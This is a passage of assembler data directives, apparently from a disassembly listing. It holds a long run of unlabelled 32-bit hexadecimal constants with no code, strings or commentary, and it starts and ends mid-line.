0DFE28111h dd 3E7A8431h, 329C51F6h, 5594BD40h, 0D00F4CF0h, 631F6800h dd 66A1E927h, 40822DBCh, 28B61Ch, 5B564B16h, 9BF18925h dd 0FB1C01BEh, 2926DD46h, 838A0CEh, 5401594Eh, 32FFFA01h dd 9705B528h, 0A573A121h, 2DFF18B6h, 0E8820FA2h, 92085069h dd 0D898B322h, 8013A61Fh, 5BD82947h, 8E05D032h, 24B6A10Ah dd 5F915154h, 57C09E5Ah, 0C2778CBFh, 3B4CC135h, 204CFF7Ch dd 2189801h, 770C4059h, 1E0C2027h, 0EB45B0B6h, 0B7E30640h dd 0B835A464h, 2236EA17h, 0ABAE655Ch, 6ADDB788h, 0FA035324h dd 19490910h, 0B0C38312h, 5FC3C663h, 0C118E8C1h, 0C240506h dd 0B09B77B9h, 7E09F646h, 24C8253Fh, 0FE958F68h, 89820994h dd 607B9B50h, 0B7AAFDCh, 6CE942EDh, 0A162F2Ah, 0A2A523D9h dd 28DC13C7h, 18461DA7h, 0DA2126CDh, 0ED305B78h, 91C3ED49h dd 3DDD2935h, 256804DAh, 16E9077Dh, 0B35D0ACCh, 87A2417h dd 662543A5h, 69EAF600h, 326B68DFh, 0B99C29CBh, 83DCD102h dd 2718BE68h, 49A0BD6Fh, 0FE7CB4C7h, 0EFC13E0Fh, 0E4E72007h dd 1B4E2864h, 3358FBE9h, 7042C7EBh, 5402429h, 806B1703h dd 93EFE826h, 9D6AB02Eh, 0EE0DC860h, 5585566h, 200A066Ah dd 0E4F0C26h, 0E6D31C09h, 902D50E5h, 62A0EDC5h, 692269Bh dd 0EFD36D91h, 4E6D8BAh, 78479A97h, 0F812C0CEh, 4B698F44h dd 0C11674B0h, 0A02402EBh, 0E9B90C90h, 3CC33A5Dh, 9D34D32Ch dd 7D486766h, 0ADAAC692h, 41970340h, 919AB06h, 44325AD5h dd 0B6240F4Eh, 2A12ABCCh, 0C1139CF6h, 73AB9936h, 0B66809ECh dd 8080593Fh, 15361E23h, 0F731CF87h, 0E7C108D1h, 40DD6924h dd 0E8582803h, 3762291Eh, 38AA903Ch, 19C98101h, 6060D315h dd 5081D625h, 5E86FE2Dh, 0E1777D43h, 40BA68F0h, 0C0007F96h dd 5A4FDF44h, 632ECB8Fh, 0D5F70622h, 7058CDE0h, 7746C026h dd 68144A06h, 10AF24A2h, 5B87443Dh, 2B12F218h, 0D95BA925h dd 0E90D896Dh, 0B49123B8h, 0A277BA88h, 0F1D028BFh, 97FFBE5Fh dd 66ACAC80h, 1F74FA68h, 0B48005BCh, 61EC8028h, 3C05E6C0h dd 0F404DCF6h, 8BE1884Ch, 81C03D86h, 0A2C18008h, 153A83E9h dd 0E9A09D18h, 89805497h, 15805C5h, 0C82C8BE8h, 795BE9F0h dd 35CA3D13h, 21215C16h, 5C565EFh, 71684543h, 39611020h dd 0D1F60156h, 0F388CE86h, 66FA3720h, 355C32DEh, 45D243F2h dd 4AB51301h, 953223FBh, 59E65BCBh, 54135371h, 0B6C07EE9h dd 0B902B768h, 0F6A6BE57h, 0F104899Bh, 4B2C3407h, 9F29C12Bh dd 73FA404h, 8B75C29h, 1DD02F95h, 0B8F5215Ah, 18BA20DBh dd 0FE540097h, 0F848C345h, 5003FFCFh, 3B2E89B1h, 78349441h dd 7A206C25h, 0D683FD83h, 0FB2D29F1h, 5D070C86h, 51989A9Dh dd 461D0DCh, 0E9586609h, 0D8B4D6EEh, 79422E34h, 8C90DAC4h dd 0B09DCA81h, 23776CCh, 219EA6EAh, 9271E9CDh, 9005D716h dd 329846A4h, 0B8411387h, 4568002Bh, 29026C3Ah, 164170EDh dd 0B9E51D28h, 0FEBE61Fh, 0D6F750C3h, 0AA03C3C1h, 15DDC0DEh dd 16363B73h, 0E168F607h, 29F0995Ah, 56EE919h, 0B176E36Fh dd 9694614Ch, 49C05CA2h, 400926B2h, 0A1F7E97Bh, 250F6882h dd 2B543A9Ah, 0E4B6C3F2h, 8C7865Ah, 61FDA20Dh, 0D23D55h dd 0AC3A14BBh, 0DBF7451Fh, 31C46116h, 3351A705h, 0CB09F252h dd 4C20E646h, 0AD3FFF50h, 13774E13h, 47EC23E9h, 6BF7808Fh dd 6490E22Bh, 59814877h, 4598202Ch, 2690F5B0h, 0AB25494Bh dd 4E7E60B3h, 0BD4CC086h, 0AF26664Ch, 69033F36h, 0B0304233h dd 485F4AF5h, 932E4A31h, 0A6BF81E2h, 0E968BE6Dh, 83853411h dd 0BB87F48h, 2073840Fh dd 685752F7h, 0ECD5E6DDh, 4B6DC5Fh, 0A84C616Fh, 0D0E9098Fh dd 5CB9B312h, 1E5F49Fh, 0A7015F12h, 0CF052118h, 80F485A5h dd 0FF1975F0h, 51538016h, 14ECA808h, 2802A3ADh, 1615541h dd 0CAC286C2h, 1517FB00h, 0F6907E09h, 0E832B979h, 7C010C52h dd 0A8725269h, 32398501h, 0FFF53141h, 666E5E02h, 39856F4Eh dd 0DDA43524h, 8D584AFCh, 75A3E4F5h, 5C47489Ch, 8653FD95h dd 0C84F20F3h, 2BD45E02h, 7F804ACFh, 0F67D9605h, 0D62D076Dh dd 0F462E329h, 0BFF2D012h, 0D00A60CEh, 0BEDFF772h, 0E27C8602h dd 594D7079h, 754B2C4Dh, 488CA6A2h, 22425AC9h, 46668FE9h dd 0F7292925h, 0A0173F83h, 504CD25Ah, 8881FD70h, 955307CDh dd 440A5FC2h, 59794EE9h, 870575Eh, 31652C63h, 0E51008B1h dd 180602Ch, 5B5D05F0h, 905E7181h, 0DED0207Bh, 343CBB0Fh dd 6D90D2B4h, 980872EBh, 0FB290521h, 0B23733E9h, 22674E86h dd 485982F2h, 20132681h, 20024DCFh, 0E9364856h, 5001EA4Ch dd 64505A29h, 4B4FC470h, 45E65CF9h, 0DD4D6CF8h, 0A4F50296h dd 607A3602h, 261BFA7Bh, 0CF961F58h, 0DF11072h, 42CB3E65h dd 66E8888Fh, 0B60F81D6h, 0A29BAB7Eh, 40C90B32h, 991430B7h dd 20F51E43h, 7587BB0Eh, 0DF965E5Eh, 9AB06A40h, 7F61234h dd 28842CD0h, 8313F3C3h, 0E9D3301h, 0D831578Bh, 2DFAC7ACh dd 25E3A38Dh, 0A12E302Bh, 951B4528h, 634CF104h, 5BD464Ah dd 16657600h, 5E1C12Fh, 2B4122DCh, 5B51D56Bh, 0C2805479h dd 5A33326Ch, 0E9DA010Bh, 918050A6h, 0A0EB6BDEh, 11D34ADAh dd 7074E962h, 34590B84h, 5B800C63h, 0B15107E0h, 0C8302602h dd 0E6F80AE9h, 2A22904Ah, 5AE87C43h, 0CC141640h, 0A2AAB316h dd 52206958h, 2EDF4150h, 180D2E0Fh, 82C1212Dh, 0FC3C9C84h dd 0B70F80CAh, 679868C8h, 0C87D2B10h, 15570500h, 0F6564B08h dd 4FF4B2CCh, 21806D66h, 4EDC3C17h, 70F47F62h, 726818CBh dd 44C1154Eh, 0E3E8629Eh, 0A13C720Fh, 57F98765h, 5F3E513Ch dd 0C46739D3h, 0E1D1C259h, 0F20E26E2h, 0CA8878A2h, 46252C54h dd 7D574CD3h, 5CE3E7D2h, 0A5A4D450h, 0FAD502A8h, 4AF4B240h dd 0FFF6323h, 8E8537CDh, 0D432396Bh, 4CC66856h, 0E9590A8Ah dd 8182190Eh, 0C61057EAh, 0F69D460Bh, 0CC1427Fh, 4B5E41BEh dd 543EC020h, 78FAEFC0h, 42962755h, 5C58A344h, 0ABC84F46h dd 2EBAE504h, 8A2CC903h, 86DDD828h, 0C206757Bh, 1C60260Fh dd 5B410980h, 360966F7h, 0BA396229h, 53402C6h, 7D840653h dd 0F7074B56h, 0F88F404Dh, 7B0DDB5h, 1A5E5954h, 680C838Dh dd 6E9C4BEh, 5F7C4FA1h, 5678C9Eh, 3207C557h, 29257258h dd 0B343AECFh, 0BE158EF3h, 4A65D9C8h, 7B6E974h, 1EA80A5h dd 0CB3FC237h, 0BE3E25BBh, 53DDA98h, 0E9765368h, 0B3C9B087h dd 2065A54Ch, 0FC1D9046h, 0B650588Ah, 4C3FE3D3h, 7AA49532h dd 9C6F04Dh, 326632E9h, 52FCDC10h, 6D155F41h, 45D51BCEh dd 60DDAA06h, 348695CCh, 0DF6D20Fh, 0E3A161FBh, 0CDDA5EF3h dd 4FAE8E80h, 0E9346958h, 4CE0A51Ch, 525C0BDAh, 5DB20132h dd 6B4E4349h, 4CA21F12h, 52E7899Fh, 0ADBE5345h, 0C08000FBh dd 9FE07ECh, 0AEC480CCh, 0BF0EE82h, 0AA035D05h, 1127037Eh dd 422C2218h, 0D3464C33h, 83D84931h, 14D6986Dh, 0EAC3BC85h dd 0B236335Dh, 4D0D0631h, 5803035Ch, 0DA0685Fh, 0CBADAF14h dd 2355EF7h, 3C51E400h, 80317CD7h, 204E4789h, 6CBF5C21h dd 2EB3AD03h, 0BB057D2Eh, 0BC7C144h, 3B562CD3h, 4698F095h dd 5DEF0F43h, 673C173h, 0A907E72Ch, 0C94C8B0Eh, 0E68B403Ch dd 89C91651h, 4CB5E3F9h, 9E023047h, 60087DA5h, 77402E18h dd 0A9A01938h, 4E161A28h, 0C9A0313Bh, 7FE927F9h, 0FB4FCC8Fh dd 4308DF8Ch, 68412EE3h, 78262D04h, 0B88A0C81h, 68894B4Ch dd 68CB164Eh, 80C2D3E3h, 0C1C3F0C3h, 66A9EBABh, 797CC968h dd 0F0B433FDh, 0AE32E5E3h, 95C7E02h, 81E125E9h, 0C6013E01h dd 45E56550h, 171E0C82h, 135C736Fh, 2DC4152h, 8897BA79h dd 0BD59C635h, 7EED0227h, 54B5BA46h, 0D3890111h, 23EB295Ah dd 69161125h, 2B14426h, 78E33F0Fh, 20998C70h, 84E67B69h dd 0D0E86DE9h, 2E68527Dh, 14992200h, 3E2C15Ah, 4AD226F7h dd 305800E6h, 0C98102A1h, 737E1109h, 9618A23Fh, 26B553DDh dd 0E1898000h, 78C2BB53h, 0B16BCD24h, 0A04C7303h, 7BCBB074h dd 36762533h, 884A368h, 0A7098028h, 0A9CDDC83h, 1CEA767Ah dd 9036B1CAh, 0C568AC82h, 3FB0F107h, 5E80732Dh, 626431BBh dd 40214927h, 7012F618h, 0CE485140h, 1043A79h, 0BCB9E9F1h dd 634768D7h, 4D125626h, 0C05EAAC2h, 75DD20Ch, 943523F3h dd 51A907Fh, 5C24DDBEh, 4E128DC6h, 3A4C0660h, 5B4F2608h dd 0AF2FA148h, 84E9AC18h, 0CBE0EB48h, 0B82C8952h, 7358C245h dd 5D22F383h, 0C57BE917h, 0A418BC22h, 0F4E317D4h, 557CE0D6h dd 7ED9EBA3h, 5DD7426Dh, 0FEE9CC69h, 8158DCE8h, 299AF10Eh dd 0CA090075h, 0C4EA8759h, 87CC927h, 3BB0055Bh, 1566828Ah dd 0C383105Ch, 0BDCF5E7Fh, 65203882h, 0EE010973h, 0E913E0E6h dd 9CA3FC3Dh, 683C054Fh, 5AFEB8D7h, 43182DDh, 68026628h dd 13E3A76h, 0A3CA4176h, 0BA49841Fh, 48BD583Dh, 304BA2E9h dd 0B6767C26h, 0F3310F11h, 0DAC88B3Eh, 580654A4h, 10BB680Bh dd 0E8016F66h, 0E9388A4Bh, 3587398Eh, 1B1FF6C6h, 3C630BAFh dd 0F87E4790h, 0C0846E5h, 88241482h, 0B7D4A951h, 8DE59F9h dd 5912C310h, 2C7D7AE6h, 94405F5Eh, 0D925C0F7h, 0CA40E7E8h dd 42E69AA8h, 4FFD96h, 8E91045h, 0E8292B5Dh, 438A96CEh dd 0EF015EDFh, 361062C1h, 11680AA5h, 6193CB3Eh, 7E851B1h dd 38DDAC7Eh, 73807015h, 17CBBA52h, 46B0267Bh, 5DF0A74Dh dd 4C5D6C27h, 1F1A88Ah, 932B0DFh, 4FE218F5h, 0E93A5FF2h dd 309255B1h, 3930122Dh, 59D70C27h, 0E9370BD6h, 1AE42221h dd 0F96A5B51h, 745DAEBCh, 9320AC21h, 0EF1B96Bh, 78C8E92Dh dd 0BC8C863Fh, 5D3CC23Ah, 0E0872A46h, 0B4B7E912h, 0A5C5414Fh dd 306C6263h, 11172B96h, 0F5807309h, 35E9EDD1h, 0CC7CF1A2h dd 94B7C8A8h, 51C2948Fh, 83455C5Ch, 5BB6F682h, 168911Ch dd 0A46ACE27h, 0D0E912A8h, 688BCC28h, 530574Bh, 0B51C41E9h dd 0F9850998h, 0B8FA6082h, 698C017Eh, 95485B2Dh, 5BE4274h dd 0BE80789h, 2292E568h, 2E418081h, 52F97125h, 0E95FFE80h dd 0C6912244h, 0BAF118BCh, 316CBE72h, 2B82C4Fh, 0E8310010h dd 97014E5Dh, 2D23D2A0h, 41CE8102h, 0DAE35FA4h, 0E5AD4A2Bh dd 0C200C0Eh, 520BCF31h, 8467B037h, 3D14C8C2h, 0AC0F4738h dd 388B5019h, 0E0406562h, 289602C6h, 534629ACh, 906B8462h dd 22081CCCh, 0E441165Ch, 3C0AF12Eh, 0E711A12Bh, 0D9225302h dd 39705CF5h, 0B142FBB0h, 40B88D5Ah, 6188C707h, 0E7603375h dd 4A8A40D6h, 27E9557h, 66A85EB6h, 30F0BEE0h, 8552C327h dd 0A9F4DAD2h, 42AC96B8h, 0B0BE797h, 0F12C3B67h, 2868DCEBh dd 0F02CD385h, 0B9696104h, 9F419618h, 4AC07318h, 565A058Bh dd 8C5EB6E9h, 0B0BD57EBh, 0E797D80h, 0E3817E14h, 5469C4BDh dd 0D40BF84Bh, 5F932C21h, 7410C301h, 0EBD879F3h, 9EB0030Fh dd 215FE9F2h, 5EF97F10h, 0F74108D3h, 8CC99B28h, 0B15E295Ch dd 7141D2ACh, 8204FBB5h, 5AA95A74h, 783459C6h, 1DFD0A7Bh dd 583CE797h, 0A809D611h dd 4E17965h, 0D8418868h, 55008FA2h, 56517597h, 3FAA70BEh dd 66DC8A68h, 0E5812D25h, 0E0C2095Ch, 4E9EBB2Fh, 9F29FE50h dd 0FD960A14h, 142DADCAh, 3818A7Ah, 75B87055h, 0B6B625Eh dd 0EE605043h, 122D6739h, 922CC02Bh, 1EEE836Eh, 81D64798h dd 2381FB1Dh, 0E3C16104h, 2EB4E20h, 29C4327Dh, 3ED81DE9h dd 8830B000h, 9F0458C3h, 2CD83A28h, 168E255Ah, 0EB2D73A1h dd 70C0E65Bh, 0CC5F280h, 0D7F6FA86h, 8A4D209h, 8867E925h dd 5CC478A1h, 0F8C28E85h, 0CB70E356h, 4CD4E36h, 0BBE51FFh dd 0FF9D0AC1h, 9470FE05h, 0ED07A6F8h, 0E4317B71h, 30ECA89Dh dd 624BAA5Fh, 6585C8Eh, 0E1935D3Fh, 76BFD17Bh, 4085213Bh dd 0D360CDCEh, 58C04F5Ah, 0B03E7333h, 12DFFFD2h, 0FD05E577h dd 88F02F8h, 638950F0h, 0BBEFE072h, 29442768h, 70A817E5h dd 41817C4Bh, 52E895Dh, 4954F650h, 5200F7A2h, 4B741ADBh dd 97555E3Fh, 54E62163h, 14D25909h, 0B7688822h, 9AEB9F5Ch dd 0DC6D4264h, 205DA49Fh, 79E7419Fh, 0E95E2FEBh, 0EE2826E2h dd 109F8B5Fh, 2D00504Eh, 21E457DEh, 0F5090540h, 0E58C885h dd 60C0727Dh, 9DCF281h, 1DFFB24h, 82FA2D0h, 98286E3Ch dd 238A13D0h, 0D1A70941h, 3108B288h, 386F34h, 0E0DEED80h dd 9588C4EBh, 15A0415h, 0A9EC4F85h, 0F9E90DD8h, 0B9018D9Eh dd 5B1D2E56h, 0FE5F1220h, 493D2F8Ah, 0F6046F96h, 3144432Fh dd 5DEA0E9h, 844B23A7h, 0FD57C461h, 796684A5h, 3EC45E0Eh dd 0E424AE52h, 1E4692C3h, 907C7C3h, 7B64CCBEh, 3060B53Dh dd 2C584B0Eh, 3FBC9BD1h, 0E56B0712h, 0CFC8CD0h, 0C4F16114h dd 176E770h, 2447295Ch, 68D92C3Ah, 4E66522Dh, 7A1582CEh dd 6344FD6Ch, 75C4FE74h, 965CB12Ch, 40E96174h, 57060517h dd 9DE4D595h, 926CD22h, 515BAB22h, 67FE987Dh, 6F2E215Dh dd 5392F21Ch, 4EDB4723h, 0CC71EFFh, 546722F3h, 0F266339Dh dd 48765891h, 834A3821h, 17D0EE97h, 315AEA9Dh, 0BBA29B59h dd 4D5B8D34h, 404B3D01h, 0AB4526E5h, 8D2EE91Ch, 9FE2B908h dd 60482D6Eh, 0BB04538Bh, 2CC2ABDh, 7016B1C2h, 4C685129h dd 4C5C6290h, 0B0525CE2h, 5E10E957h, 0BDBC94C2h, 0CB523EF7h dd 3A0C4C80h, 843D5F72h, 0A30712DCh, 5C583F15h, 5A4589FCh dd 12F220E2h, 0F1940598h, 6BDAB900h, 90297F18h, 44ABB064h dd 967BC571h, 0C70C81E5h, 352F7532h, 0A172CE7Ch, 2C7A5D08h dd 0ECA94678h, 16E605Ah, 0A4B68B4h, 5987E2E9h, 2184C829h dd 0D654C9D2h, 742B02C2h, 0D0607139h, 0B44A458Fh, 6BDC44C1h dd 31E93AF4h, 0A74D0301h, 0DF5C0378h, 44AEEDD4h, 1EC49C74h dd 0AB4E2CCh, 0C60ECBB1h, 0ADBF14D1h, 5187C2EAh, 0E35194B2h dd 0A15E7B04h, 3832827Ah, 0A2E61AA9h, 2B151BB6h, 0EEA44B99h dd 0D7785FA9h, 3F90F2F2h, 805BE648h, 0EEC4EB2Eh, 63492B12h dd 81F7C0CDh, 0A5E15CF5h, 0EAA78D3Dh, 0E98B4015h, 531D6064h dd 21D71C68h, 0FDBB7D29h, 5B1A8ACAh, 212E2A89h, 2CDAACEFh dd 0EBE797F7h, 0FD6C8334h, 0B2972E07h, 0E944B58Eh, 9CEEF0C9h dd 9478E411h, 0D52971D0h, 29AB605Ah, 59884200h, 48DBE781h dd 8B684F89h, 36B201BEh, 0EF0907B3h, 0DDCDED21h, 9D2B5C30h dd 4AE95681h, 0C424253Dh, 24BC383h, 302768CBh, 0B3DD8848h dd 0B05BDA88h, 3DE60B3Bh, 5204191Ch, 1AE00104h, 0EAE569B8h dd 776C6488h, 11B12993h, 5324CB0Eh, 0AD6312A9h, 31A8D2EDh dd 0D230E4D2h, 11C7B649h, 422C6B4Dh, 98BE9485h, 491EA0D7h dd 0F8A3534Ah, 0FE192579h, 3FF0D544h, 2C5F3D5Fh, 2C936D5Fh dd 1C76D800h, 4814BDEh, 0F039F3C6h, 28F6FC2Bh, 3EA108EEh dd 0B3129FD6h, 89714D8Bh, 0BBF2C01Eh, 0CE761652h, 630AC042h dd 27B45C0Dh, 5FA95304h, 4A1CCAC8h, 4DDFE3F7h, 82474920h dd 46E270E9h, 0A0D0A235h, 503DB79Ah, 7CFC7288h, 0DF6969E6h dd 47F3958Eh, 0D3E7B75Ch, 99053F31h, 5B0E3AAFh, 4A42E445h dd 630DD01h, 0AC426C4Eh, 0B254C27h, 5DAE5520h, 6850CF80h dd 2201A5B1h, 0C53158DCh, 0C43CEDE9h, 12131E5Fh, 9DF85694h dd 20C97D2h, 5C3882F3h, 5066C300h, 8095B551h, 0C2F3C52Dh dd 8457D98Bh, 0B26D6A68h, 0E14E734Ch, 0B8D4B0A3h, 495B1A52h dd 1A205870h, 2BABF781h, 890262E6h, 0E5C15FFDh, 7D8F6006h dd 113D580Ch, 2E77F500h, 8EE9B043h, 0A4F3594Ah, 36519069h dd 2ACC2D44h, 51634036h, 6A32EDEDh, 7608E15Bh, 1C42B226h dd 491D5DC5h, 8C6034E9h, 1A0F6855h, 0D867D977h, 32261388h dd 0D0C2160h, 89464B40h, 7092EE7Fh, 0E9095A9Eh, 96742C7h dd 5A8C59Dh, 0C358E530h, 60986F9h, 0ABFEE92Ch, 0E0264840h dd 0F8B98167h, 5F5C6328h, 263607D2h, 0D3AE6F72h, 0E5402086h dd 0A1B2E5CCh, 682CDD7h, 659AE9BFh, 1E02865Ah, 0F76D6121h dd 507941DBh, 1609DEDAh, 89384928h, 0ED8AC0CEh, 7CDF8202h dd 5EF0826Ch, 0BD7A5300h, 58D81560h, 14F24AE9h, 0EA0EA9EFh dd 5A2B30F7h, 9E593C20h, 0EB7ED115h, 165ECB06h, 4987D48h dd 49133FD8h, 217D8029h, 0E92F5AD0h, 0BFBCE044h, 1E4226D6h dd 0E0CF01A8h, 200A5F3Fh, 5E089C1Ah, 130132B8h, 752F829h dd 58E7216Ah, 0E9173315h, 0FCDA0AE1h, 0B1405090h, 5476E282h dd 343363ADh, 54823A73h, 352666B0h, 9EC3892Eh, 6C218925h dd 9A2AF860h, 0B2BE0C5Fh, 0EEBCF927h, 0E4427A0Eh, 0E3F6C00Bh dd 0C02CBF2Fh, 4EAF8B0Ch, 76942934h, 19C00417h, 79B4B151h dd 5DFEB080h, 0E34B36F8h, 0AFE9C229h, 95CBEEEEh, 8272AF8Fh dd 0FBF45DBDh, 0AC791AD1h, 4C36F206h, 0B34A52C8h, 237AA2A1h dd 0DB04EDECh, 4D58C521h, 2F0B52FCh, 0DD605188h, 0D4B161C4h dd 0A89B2D69h, 1DC88660h, 8A06ED08h, 1EC585Fh, 4E8E274Fh dd 18F93047h, 32AA1D03h, 48F4CCE9h, 620B6199h, 5A424FDBh dd 6EE0C75h, 0AFE8FF03h, 4B1879C7h, 0EF56C021h, 23640F25h dd 0C0E0D122h, 0DE300458h, 0EDF0285Bh, 0A19774D9h, 0AAC5F29Bh dd 0E62C57F5h, 5CC20352h, 5BD6F9F6h, 847509AFh, 47CC1374h dd 40300FB8h, 78A93869h, 0D7947F50h, 980B2DBBh, 80778A66h dd 0F700E0D1h, 2D8405D8h, 90011FBEh, 30142530h, 744C11D1h dd 290740F4h, 8B02FA78h, 66685A0Ah, 69E44638h, 9C408254h dd 411225BEh, 450D5A68h, 517C0D21h, 0C7427C27h, 7C49A345h dd 685E4C3Eh, 4F13E92Bh, 344B5B9Fh, 0FA5FE64Dh, 55DC1401h dd 6101F647h, 0E926DB1Ah, 0D7402FD4h, 3C22DC3h, 0C26095DFh dd 0E0FBD55h, 0E11DF24Ch, 8C467DE5h, 41DDCC30h, 0AF60D411h dd 0E1B8AFA0h, 78172EFAh, 0B1914429h, 0AE7D5D4Bh, 0B3DCB8D3h dd 10D1BFDh, 18F088EBh, 5D4A4652h, 2042C9F4h, 0C5B1DE22h dd 0D11C8B89h, 86E9617Bh, 0F3CD526Fh, 0E35B23E3h, 9009834Bh dd 81DCA0DCh, 2222D2Dh, 0C507D35h, 0C253C074h, 0CB88803Fh dd 0BF63C9EEh, 0F9FCB92Eh, 713C0852h, 71FA417Dh, 20343F28h dd 122118FFh, 4B243B60h, 3008A28h, 0E9B12CD2h, 81BDE708h dd 9ABB4494h, 41D42E12h, 3665EAB7h, 0ACD9CF94h, 0CBF369AEh dd 841D7957h, 0EE0BB0E9h, 575D8C32h, 0E917ED94h, 31D2070Eh dd 118C7D59h, 0C0B256D9h, 3966CA09h, 4DA87940h, 840F057Eh dd 321EDA2h, 0AC6235EFh, 7D0C0402h, 0F9587623h, 0A00841B6h dd 5D12140Ch, 2349E4E9h, 305E0632h, 0CBEC5807h, 0ECF95D7Fh dd 6D1BBA02h, 0F601AE3h dd 0B6280EC4h, 3A028F11h, 29DB2B37h, 77A442D1h, 3CAB5D11h dd 88500E11h, 58E642CCh, 60396259h, 9FD1406Bh, 0BEB28E46h dd 9F7B9CB5h, 13546129h, 21CF680Bh, 539BE9D3h, 6B84993Bh dd 0ADD59021h, 78A8EC04h, 200E974Eh, 76C813BBh, 5B3B1331h dd 82DFB259h, 66467A68h, 4D21F023h, 51807060h, 35087973h dd 4A25200Bh, 0B633034Dh, 0FB411249h, 9FF6073h, 4C04B929h dd 2AE3E947h, 4B7773ADh, 0F8B78512h, 7004049Bh, 0B6F4C388h dd 303D4A25h, 0B97C3579h, 713B2E59h, 77203E04h, 23A9EA29h dd 9955EFC5h, 0AE40BD3Ch, 0BD81A7BCh, 0F7B11D29h, 311F906Ch dd 0AD1ED3F0h, 0B9F6193Dh, 3B78FDD2h, 7013CA4Ch, 7F25F3BAh dd 0C113C64Eh, 4EADA413h, 7C37BC4h, 0BBE2A3BEh, 0C8F4C061h dd 4231F316h, 0ABF5096Bh, 0F7269B58h, 0EF1C8DDFh, 84180807h dd 15BD7E2h, 481DDA68h, 288006FBh, 5096EEE3h, 174640FCh dd 0B480C62h, 7527FD13h, 56157255h, 0B32F1E5Dh, 0CF766907h dd 6831E942h, 184BB360h, 64EEB80h, 2DDA68E2h, 836E688Eh dd 3B358031h, 8DC46E1Eh, 5AB0BE93h, 4D0502ADh, 522F4768h dd 83E4F8D6h, 403D4BE0h, 53C4314Fh, 2D006A60h, 4CD5E88h dd 0DB054807h, 29A275F3h, 0DEF442C2h, 0D86FCF71h, 6347E1C0h dd 39170535h, 5D0AF932h, 8F9FFFA5h, 410921A6h, 3BACE9ACh dd 0BA520D80h, 258B30E1h, 98D5313Eh, 0C7E74B63h, 9BFE480h dd 0F045866h, 0E40D7904h, 373A1752h, 0EEC18A4Ch, 1D00F708h dd 0E93C0374h, 2EC0BAF2h, 1338F729h, 160152F0h, 24F061Dh dd 8C137A41h, 400BC52Bh, 2CFD6126h, 986604FCh, 7ED87520h dd 66365DFAh, 2CA9B902h, 0F484302Ah, 5AD9E40Bh, 670CEAAh dd 862A5502h, 82DAF702h, 855EBBBAh, 0DED29C5h, 0B41F5CC5h dd 705B77EFh, 4B4AD78Bh, 0E9B155F3h, 44007A52h, 0E96C9657h dd 0D0BB4ACEh, 0A8F972C9h, 589F13Ah, 58C1015Fh, 2668B4E0h dd 692C73E2h, 5F6F989h, 2C8BE841h, 0B9580507h, 3BB4D697h dd 52AD4067h, 5090B207h, 0C5B4E1B4h, 0B169EDE8h, 44B14F9h dd 72EE598Bh, 0A1641888h, 0B0AB3420h, 17337C07h, 0B06611C1h dd 1DD626E6h, 49195CD1h, 0F8D95D92h, 24C5D0F0h, 10A8C643h dd 5567BF09h, 5DFCA417h, 0D3E5DAA4h, 0F4A3ACADh, 52256EF6h dd 6EA5B9C7h, 0CE919DFBh, 7AF4A66Ch, 97F11C16h, 0BD6FA6Ch dd 0B5594FC2h, 1492F3Ch, 1C5F21DDh, 0B19CD5ACh, 800CA2D4h dd 255AD0F1h, 2D3121F0h, 8984407Dh, 0E8C1202Dh, 7C47F007h dd 0E9B40CE4h, 0EBEDB10Dh, 6213EC04h, 75A05F4Ch, 0E2DD4ABDh dd 63D44A79h, 43ADE120h, 293B21A9h, 554A3C17h, 87C9BB52h dd 0CBCBA0B1h, 0C5FE10Ch, 89A0BE38h, 0E62AE9CAh, 0EE4BB80Fh dd 0A31FD2Dh, 0C174053Fh, 0CB30C0E3h, 9ECF2999h, 0CA432CD1h dd 700A26C2h, 0E4501716h, 0D70EEE2Bh, 0C005EA62h, 8B287FCEh dd 0DF0E9840h, 993EE12h, 18E2AD9Dh, 0E63A05Fh, 5A5A5860h dd 0BF33345Bh, 845C6270h, 205490C8h, 6D9FA9E0h, 0A7B624ECh dd 680097E5h, 460F3B74h, 4F905Bh, 22E11A06h, 0D2F7D687h dd 0DEBA08D8h, 0B8FA580Ah, 4B71C604h, 0F31DC110h, 0C8B0835Eh dd 4825426Dh, 0D74B73C0h, 2E0FDBA5h, 0B34BF400h, 255C05B5h dd 3B322664h, 29072D14h, 0D4BA4D5Ah, 95845877h, 0EF6907A6h dd 0EDC1801Ch, 0F020E128h, 5B54246Fh, 6852C1A1h, 0A041502h dd 17AD57C0h, 0CD2AE40Eh, 58C629A3h, 45EBEA9Eh, 0F0E6820Bh dd 2D63CA8Eh, 29927210h, 315802F6h, 9E6817C3h, 0DCF5CC11h dd 47677E55h, 0D043D5BBh, 0B32E5C3Bh, 0CD814F00h, 5F69361Fh dd 0C9F75155h, 0A5242D3Ch, 1A007ECh, 0C85699EBh, 0B626842h dd 0D190DE58h, 0BD90A64Bh, 2E7B40C6h, 2521526Eh, 0CAE9A849h dd 5F17EC74h, 915F448Ah, 40B9748h, 59127FACh, 926FEC30h dd 0B76C7CB1h, 3CDDE9A1h, 0CB2912F3h, 55891F03h, 8AA810D8h dd 68511D19h, 4B9B5241h, 5DF44959h, 96A0BBEDh, 63C9C739h dd 0BCBC9968h, 0DBFDC170h, 7E82BDEFh, 766B16F0h, 0D4CEB641h dd 0EA9D23E4h, 1C080D7Ah, 3DBC1405h, 0CFD821C6h, 59A8A295h dd 0EB0B0EE7h, 90716587h, 9FB35351h, 2EFB665Ch, 0BE8164ADh dd 3EA07B0Ah, 1CE7BBFCh, 43012751h, 0A4E95BD8h, 0F6C44896h dd 1C182CF8h, 287BDC2Dh, 0BCE5794Eh, 0B3B6461h, 0A052BE04h dd 1ECB814Ch, 0DA43EF08h, 7C742945h, 0C445210h, 0A17EE913h dd 56622AFCh, 4C7392CFh, 0F2C09517h, 263A44E9h, 1EEF1A69h dd 965AF134h, 0C957E2D7h, 97EA5008h, 3EEF7531h, 30E94828h dd 5A2CA8AEh, 0CF1EB151h, 0DACCCB28h, 9FCA370Bh, 0CF8BAFC5h dd 88A85111h, 10AC52Ch, 3916A7E8h, 0C83F709Dh, 0A74A6AABh dd 0CE217741h, 0E3DAD4EAh, 4BB5B87Dh, 8B61ED29h, 885D0800h dd 3493AC01h, 0A84548E9h, 69B35A30h, 0FE29628Bh, 0B57C4774h dd 0E4E9A081h, 95296EC6h, 0E90CCC23h, 0C13F30B7h, 55E6C276h dd 1902F1ECh, 0E9E47D92h, 2D5AF66Eh, 36324A9h, 20F6E4Ch dd 0E3E9597Eh, 808791A6h, 4C21CEE8h, 0B71C2C45h, 0DAE3E57Ch dd 0E4F51202h, 0DE3D3F1Fh, 0B31177Eh, 0B26189BEh, 0FAD42E07h dd 0CA921BEDh, 4D681FDEh, 25C946EFh, 0F3912D5Dh, 0F0E32155h dd 7B980637h, 4FC0484Dh, 